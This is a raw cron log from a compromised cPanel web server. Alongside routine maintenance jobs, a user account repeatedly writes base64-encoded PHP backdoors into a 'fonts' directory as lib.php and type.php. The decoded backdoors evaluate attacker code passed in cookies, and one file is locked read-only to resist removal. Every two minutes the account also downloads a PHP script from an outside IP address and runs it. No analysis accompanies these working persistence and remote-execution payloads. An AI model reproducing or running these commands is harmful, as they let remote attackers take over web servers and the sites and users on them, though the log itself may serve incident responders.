Aug 30 07:28:01 ip-184-168-122-23 CROND[3913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:28:01 ip-184-168-122-23 CROND[3915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:28:01 ip-184-168-122-23 CROND[3918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:29:01 ip-184-168-122-23 CROND[4003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:29:01 ip-184-168-122-23 CROND[4004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:29:01 ip-184-168-122-23 CROND[4002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:29:01 ip-184-168-122-23 CROND[4005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:30:01 ip-184-168-122-23 CROND[4104]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 07:30:01 ip-184-168-122-23 CROND[4105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:30:01 ip-184-168-122-23 CROND[4114]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:30:01 ip-184-168-122-23 CROND[4118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:30:01 ip-184-168-122-23 CROND[4116]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:30:01 ip-184-168-122-23 CROND[4117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:30:01 ip-184-168-122-23 CROND[4119]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:30:01 ip-184-168-122-23 CROND[4121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:31:01 ip-184-168-122-23 CROND[4223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:31:01 ip-184-168-122-23 CROND[4225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:31:01 ip-184-168-122-23 CROND[4227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:31:01 ip-184-168-122-23 CROND[4232]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 07:31:01 ip-184-168-122-23 CROND[4229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:32:01 ip-184-168-122-23 CROND[4321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:32:01 ip-184-168-122-23 CROND[4320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:32:01 ip-184-168-122-23 CROND[4319]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:32:01 ip-184-168-122-23 CROND[4317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:32:01 ip-184-168-122-23 CROND[4318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:33:01 ip-184-168-122-23 CROND[4403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:33:01 ip-184-168-122-23 CROND[4405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:33:01 ip-184-168-122-23 CROND[4406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:33:01 ip-184-168-122-23 CROND[4407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:34:02 ip-184-168-122-23 CROND[4489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:34:02 ip-184-168-122-23 CROND[4490]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:34:02 ip-184-168-122-23 CROND[4491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:34:02 ip-184-168-122-23 CROND[4493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:34:02 ip-184-168-122-23 CROND[4494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:35:01 ip-184-168-122-23 CROND[4589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:35:01 ip-184-168-122-23 CROND[4591]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 07:35:01 ip-184-168-122-23 CROND[4592]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:35:01 ip-184-168-122-23 CROND[4593]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:35:01 ip-184-168-122-23 CROND[4594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:35:01 ip-184-168-122-23 CROND[4595]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 07:35:01 ip-184-168-122-23 CROND[4599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:35:01 ip-184-168-122-23 CROND[4602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:36:01 ip-184-168-122-23 CROND[4782]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:36:01 ip-184-168-122-23 CROND[4784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:36:01 ip-184-168-122-23 CROND[4786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:36:01 ip-184-168-122-23 CROND[4788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:36:01 ip-184-168-122-23 CROND[4787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:37:01 ip-184-168-122-23 CROND[4878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:37:01 ip-184-168-122-23 CROND[4879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:37:01 ip-184-168-122-23 CROND[4881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:37:01 ip-184-168-122-23 CROND[4880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:38:01 ip-184-168-122-23 CROND[4962]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:38:01 ip-184-168-122-23 CROND[4965]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 07:38:01 ip-184-168-122-23 CROND[4964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:38:01 ip-184-168-122-23 CROND[4966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:38:01 ip-184-168-122-23 CROND[4967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:39:01 ip-184-168-122-23 CROND[5047]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 07:39:01 ip-184-168-122-23 CROND[5049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 07:39:01 ip-184-168-122-23 CROND[5050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:39:01 ip-184-168-122-23 CROND[5052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:39:01 ip-184-168-122-23 CROND[5051]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 07:40:02 ip-184-168-122-23 CROND[5145]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 07:40:02 ip-184-168-122-23 CROND[5152]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:40:02 ip-184-168-122-23 CROND[5153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:40:02 ip-184-168-122-23 CROND[5150]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:40:02 ip-184-168-122-23 CROND[5151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
